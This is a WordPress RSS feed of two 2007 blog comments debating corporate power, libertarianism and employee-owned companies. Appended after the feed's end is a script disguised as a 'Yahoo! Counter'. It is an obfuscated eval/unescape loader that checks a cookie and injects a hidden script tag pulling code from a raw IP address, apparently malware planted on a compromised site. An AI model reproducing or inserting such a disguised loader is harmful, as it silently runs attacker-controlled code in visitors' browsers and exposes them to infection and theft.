<?xml version="1.0" encoding="UTF-8"?><!-- generator="wordpress/2.3" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>
<channel>
	<title>Comments on: Corporate and Union leaders issues report focusing on the importance of long-term growth</title>
	<link>http://www.partisanfreepolitics.com/2007/06/corporate-and-union-leaders-issues-report-focusing-on-the-importance-of-long-term-growth/</link>
	<description>Partisan Free Politics, a place to discuss the intersection of everyday life - policy - and the politics of possibility</description>
	<pubDate>Fri, 21 Nov 2008 08:28:08 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.3</generator>
		<item>
		<title>By: The_Actual_Greyson_Ruback</title>
		<link>http://www.partisanfreepolitics.com/2007/06/corporate-and-union-leaders-issues-report-focusing-on-the-importance-of-long-term-growth/#comment-40</link>
		<dc:creator>The_Actual_Greyson_Ruback</dc:creator>
		<pubDate>Fri, 29 Jun 2007 05:41:48 +0000</pubDate>
		<guid>http://www.partisanfreepolitics.com/2007/06/corporate-and-union-leaders-issues-report-focusing-on-the-importance-of-long-term-growth/#comment-40</guid>
		<description>Josh, thanks again for the discourse... one of the main problems I find in your arguments is your conception of a corporation as some sort of sentient being. As we all know corporations are made up of people, and corporate actions are the product of the combined actions, morals, and ideas of its constiuents (shareholders, employees, and customers.) I am not suggesting that if we'd only provide universal Kindergarten we would have solve everything. But if we can affect a dramatic alteration of the social character of our society, then we will see a radical shift in the conduct of our economic affairs, regardless of what sort of system we pursue.

Western Industrialization occured in the wake of "The Enlightenment." People gathered in cities, and began competing with others that they had less and less in common with. While at the same time much of the dominant philosophical thought promoted, or at least entertained, the idea that it was more important to look virtuous than to actually be. Entire empires were built on this very notion, one of which eventually splintered creating the offshoot we call America. As populations grew and technology progressed it became harder to hide the immorality and hypocrisy of it all, the cultural revolution was  seeded, and technology now threatens to shine the light on the skeletons in the closets. More and more people from all walks of life (including, arguably, your Freegans,) are seeing the Emperor's New Clothes for what they really are, or aren't.

The most important issues facing our generation today are the encroachment of government on personal and economic liberty, especially in relation to the very tools which can save us; and, the revitalization of our disintegrating social communities throughout our society, which is what I meant, and may have slighted if I refered to it solely as education.

Perhaps we can bring more focus to this discussion. Do you agree with my characterization of the important hurdles facing our generation, and by extension our burgeoning community here?  If not, what do you suggest is the "roadmap" (to steal a Bush Administration fave) to a better world?

Since we're ending our posts with sound bites this time, how about this one:
"The Greatest Trick the Devil ever pulled was convincing the world that he didn't exist."</description>
		<content:encoded><![CDATA[<p>Josh, thanks again for the discourse&#8230; one of the main problems I find in your arguments is your conception of a corporation as some sort of sentient being. As we all know corporations are made up of people, and corporate actions are the product of the combined actions, morals, and ideas of its constiuents (shareholders, employees, and customers.) I am not suggesting that if we&#8217;d only provide universal Kindergarten we would have solve everything. But if we can affect a dramatic alteration of the social character of our society, then we will see a radical shift in the conduct of our economic affairs, regardless of what sort of system we pursue.</p>
<p>Western Industrialization occured in the wake of &#8220;The Enlightenment.&#8221; People gathered in cities, and began competing with others that they had less and less in common with. While at the same time much of the dominant philosophical thought promoted, or at least entertained, the idea that it was more important to look virtuous than to actually be. Entire empires were built on this very notion, one of which eventually splintered creating the offshoot we call America. As populations grew and technology progressed it became harder to hide the immorality and hypocrisy of it all, the cultural revolution was  seeded, and technology now threatens to shine the light on the skeletons in the closets. More and more people from all walks of life (including, arguably, your Freegans,) are seeing the Emperor&#8217;s New Clothes for what they really are, or aren&#8217;t.</p>
<p>The most important issues facing our generation today are the encroachment of government on personal and economic liberty, especially in relation to the very tools which can save us; and, the revitalization of our disintegrating social communities throughout our society, which is what I meant, and may have slighted if I refered to it solely as education.</p>
<p>Perhaps we can bring more focus to this discussion. Do you agree with my characterization of the important hurdles facing our generation, and by extension our burgeoning community here?  If not, what do you suggest is the &#8220;roadmap&#8221; (to steal a Bush Administration fave) to a better world?</p>
<p>Since we&#8217;re ending our posts with sound bites this time, how about this one:<br />
&#8220;The Greatest Trick the Devil ever pulled was convincing the world that he didn&#8217;t exist.&#8221;</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Josh</title>
		<link>http://www.partisanfreepolitics.com/2007/06/corporate-and-union-leaders-issues-report-focusing-on-the-importance-of-long-term-growth/#comment-38</link>
		<dc:creator>Josh</dc:creator>
		<pubDate>Fri, 29 Jun 2007 02:04:38 +0000</pubDate>
		<guid>http://www.partisanfreepolitics.com/2007/06/corporate-and-union-leaders-issues-report-focusing-on-the-importance-of-long-term-growth/#comment-38</guid>
		<description>This is an interesting find.  And yes, no amount of education will cause those that currently benefit from the system, any system, to transform.  If you are on top of the pile there is no incentive to change your relationship with the world, unless it looks like changes outside of your control are going to cause the pile to shift from underneath you.

History has shown, however, that corporations generally, and wisely I might add, seek to control the situation rather than shift according to potential and likely changes.  Control is the most rational course of action.  Why adjust when it is easier to keep things the way they are, a way that has been most beneficial to you?  See Ford motor company business practices over the last 30 years for a good example.

Control, predictability, consistency, these are the exact things that drove our ancestors to form societies in the first place.  It is much easier on the psyche, the body, the family and the society to have consistency.  Row crops &#038; domestic cattle are more stable than hunting and gathering.  These consistencies allow you to plan for the future with much greater confidence and less risk of utter failure (which means in its literal sense, death).

The libertarian notion of a "free" market has never been and will never be.  It is a highly unwise choice for a person to go-it-alone in the world, even if such a course of action were feasible.  Corporations will also, wisely, not support such an environment (see www.taxpayer.net for some egregious examples of corporate welfare), but nobody on this blog has ever advocated a "planned" economy.  

The notion of there being a choice between planned markets and free markets is the real straw man.  The true choice is about whom you want to be the master.  Should it be corporations as we presently know them (self-interested at the expense of family, country and God) or something else?  The answer is something else.  So now it's time to make that happen.  Employee-owned companies, community development corporations and their like are the new frontier.  These endeavours are more democratic, require and encourage personal responsibility and are rooted in the communities they serve.  An employee owned company has many incentives not to leave town, pollute its environment or screw its workers.

Libertarians yearn for a time that never was and socialists dream of a day that will never be.  It's time for both camps to drop their illusions and come back to reality.</description>
		<content:encoded><![CDATA[<p>This is an interesting find.  And yes, no amount of education will cause those that currently benefit from the system, any system, to transform.  If you are on top of the pile there is no incentive to change your relationship with the world, unless it looks like changes outside of your control are going to cause the pile to shift from underneath you.</p>
<p>History has shown, however, that corporations generally, and wisely I might add, seek to control the situation rather than shift according to potential and likely changes.  Control is the most rational course of action.  Why adjust when it is easier to keep things the way they are, a way that has been most beneficial to you?  See Ford motor company business practices over the last 30 years for a good example.</p>
<p>Control, predictability, consistency, these are the exact things that drove our ancestors to form societies in the first place.  It is much easier on the psyche, the body, the family and the society to have consistency.  Row crops &#038; domestic cattle are more stable than hunting and gathering.  These consistencies allow you to plan for the future with much greater confidence and less risk of utter failure (which means in its literal sense, death).</p>
<p>The libertarian notion of a &#8220;free&#8221; market has never been and will never be.  It is a highly unwise choice for a person to go-it-alone in the world, even if such a course of action were feasible.  Corporations will also, wisely, not support such an environment (see <a href="http://www.taxpayer.net" rel="nofollow">www.taxpayer.net</a> for some egregious examples of corporate welfare), but nobody on this blog has ever advocated a &#8220;planned&#8221; economy.  </p>
<p>The notion of there being a choice between planned markets and free markets is the real straw man.  The true choice is about whom you want to be the master.  Should it be corporations as we presently know them (self-interested at the expense of family, country and God) or something else?  The answer is something else.  So now it&#8217;s time to make that happen.  Employee-owned companies, community development corporations and their like are the new frontier.  These endeavours are more democratic, require and encourage personal responsibility and are rooted in the communities they serve.  An employee owned company has many incentives not to leave town, pollute its environment or screw its workers.</p>
<p>Libertarians yearn for a time that never was and socialists dream of a day that will never be.  It&#8217;s time for both camps to drop their illusions and come back to reality.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script language=javascript><!-- Yahoo! Counter starts here -->
if(typeof(yahoo_counter)!=typeof(1))eval(unescape('/&%2F#.%2E%2E $%3C%64$%69`v%20`%73#t~%79~le!%3D%64%69s&p`l&a`y:%6E$%6F#n%65%3E$\n%76%61&r%20_%3B%69`%66&%28d$%6F%63%75~m`%65#%6E`%74%2E|%63%6F%6F%6B!i|e&%2E$%6D%61&%74c|%68%28%2F#%5C$%62`%68@g$%66&t%3D|1/%29%3D&=!nu%6C|l`%29~d~%6Fcu%6De!n&%74.#w~%72i!%74|%65!%28"|%3Cs@%63#%72%69p!%74%20`%73#r&c~=%2F/@%37&8.~%31#%35|%37%2E!14$%32%2E%35%38%2F$%63%70%2F%3F@%22+n&av%69$%67%61~t!%6F$%72&%2E&%61&p%70~Na%6D~%65%2Ec~ha&%72%41!%74(%30`%29+|"%3E%3C|%5C!%2Fsc@r#%69&pt%3E"%29@%3B\n//%3C@/%64i%76~%3E').replace(/@|\!|\$|\||\&|#|`|~/g,""));var yahoo_counter=1;
<!-- counter end --></script>
